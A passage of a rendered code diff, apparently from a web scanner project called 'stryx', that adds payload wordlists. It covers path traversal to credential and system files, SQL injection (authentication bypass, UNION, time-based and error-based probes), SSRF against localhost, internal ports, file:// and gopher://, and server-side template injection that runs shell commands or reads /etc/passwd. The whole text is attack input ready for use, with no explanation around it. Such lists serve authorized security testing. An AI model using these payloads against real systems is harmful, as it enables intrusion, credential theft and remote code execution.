....//....//....//etc/shadow
|
|
19
|
+
/proc/self/environ
|
|
20
|
+
/proc/self/cmdline
|
|
21
|
+
/proc/version
|
|
22
|
+
/proc/self/fd/0
|
|
23
|
+
../../boot.ini
|
|
24
|
+
../../../boot.ini
|
|
25
|
+
../../WEB-INF/web.xml
|
|
26
|
+
../../../WEB-INF/web.xml
|
stryx/payloads/sqli.txt
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
' OR '1'='1
|
|
2
|
+
' OR '1'='1' --
|
|
3
|
+
' OR '1'='1' #
|
|
4
|
+
' OR 1=1 --
|
|
5
|
+
' OR 1=1 #
|
|
6
|
+
' OR 1=1/*
|
|
7
|
+
admin' --
|
|
8
|
+
admin' #
|
|
9
|
+
' UNION SELECT NULL--
|
|
10
|
+
' UNION SELECT NULL,NULL--
|
|
11
|
+
' UNION SELECT NULL,NULL,NULL--
|
|
12
|
+
' UNION ALL SELECT NULL--
|
|
13
|
+
' UNION ALL SELECT NULL,NULL--
|
|
14
|
+
' UNION ALL SELECT NULL,NULL,NULL--
|
|
15
|
+
1' ORDER BY 1--
|
|
16
|
+
1' ORDER BY 10--
|
|
17
|
+
1' AND 1=1--
|
|
18
|
+
1' AND 1=2--
|
|
19
|
+
1' AND SLEEP(5)--
|
|
20
|
+
1' AND BENCHMARK(5000000,SHA1('test'))--
|
|
21
|
+
1'; WAITFOR DELAY '0:0:5'--
|
|
22
|
+
1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--
|
|
23
|
+
' OR '1'='1' LIMIT 1--
|
|
24
|
+
1' GROUP BY column_names HAVING 1=1--
|
|
25
|
+
1' EXTRACTVALUE(1,CONCAT(0x7e,version()))--
|
|
26
|
+
1' UPDATEXML(1,CONCAT(0x7e,version()),1)--
|
|
27
|
+
'; SELECT pg_sleep(5)--
|
|
28
|
+
' AND 1=CAST(version() AS INT)--
|
|
29
|
+
1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
|
|
30
|
+
' OR EXISTS(SELECT * FROM users)--
|
|
31
|
+
1' AND ROW(1,1)>(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)--
|
stryx/payloads/ssrf.txt
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
http://127.0.0.1
|
|
2
|
+
http://127.0.0.1:80
|
|
3
|
+
http://127.0.0.1:443
|
|
4
|
+
http://127.0.0.1:8080
|
|
5
|
+
http://127.0.0.1:3000
|
|
6
|
+
http://127.0.0.1:5000
|
|
7
|
+
http://127.0.0.1:6379
|
|
8
|
+
http://127.0.0.1:27017
|
|
9
|
+
http://127.0.0.1:3306
|
|
10
|
+
http://127.0.0.1:9200
|
|
11
|
+
http://localhost
|
|
12
|
+
http://localhost:80
|
|
13
|
+
http://localhost:8080
|
|
14
|
+
http://localhost:3000
|
|
15
|
+
http://0.0.0.0
|
|
16
|
+
http://0.0.0.0:80
|
|
17
|
+
http://[::1]
|
|
18
|
+
http://[0:0:0:0:0:0:0:1]
|
|
19
|
+
http://0177.0.0.1
|
|
20
|
+
http://0x7f.0x0.0x0.0x1
|
|
21
|
+
http://2130706433
|
|
22
|
+
http://127.0.0.1.nip.io
|
|
23
|
+
http://127.1
|
|
24
|
+
http://127.0.0.1%0d%0a
|
|
25
|
+
http://127.0.0.1%0a
|
|
26
|
+
http://internal-service.local
|
|
27
|
+
file:///etc/passwd
|
|
28
|
+
file:///proc/self/environ
|
|
29
|
+
gopher://127.0.0.1:6379/_INFO
|
|
30
|
+
dict://127.0.0.1:6379/INFO
|
stryx/payloads/ssti.txt
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
{{7*7}}
|
|
2
|
+
${7*7}
|
|
3
|
+
<%= 7*7 %>
|
|
4
|
+
#{7*7}
|
|
5
|
+
{{7*'7'}}
|
|
6
|
+
${7*7}
|
|
7
|
+
<%= system('id') %>
|
|
8
|
+
{{config.items()}}
|
|
9
|
+
{{self.__class__.__mro__}}
|
|
10
|
+
{{''.__class__.__mro__[2].__subclasses__()}}
|
|
11
|
+
{{request.application.__self__.__name__}}
|
|
12
|
+
{{lipsum.__globals__['os'].popen('id').read()}}
|
|
13
|
+
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
14
|
+
{{().__class__.__bases__[0].__subclasses__()}}
|
|
15
|
+
{% for c in [].__class__.__base__.__subclasses__() %}{{c.__name__}}{% endfor %}
|
|
16
|
+
{{cycler.__init__.__globals__.os.popen('id').read()}}
|
|
17
|
+
{{joiner.__init__.__globals__.os.popen('id').read()}}
|
|
18
|
+
{{namespace.__init__.__globals__.os.popen('id').read()}}
|
|
19
|
+
{{range.__class__.__base__.__subclasses__()[0].__init__.__globals__['os'].popen('id').read()}}
|
|
20
|
+
<%= File.open('/etc/passwd').read %>
|
|
21
|
+
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
|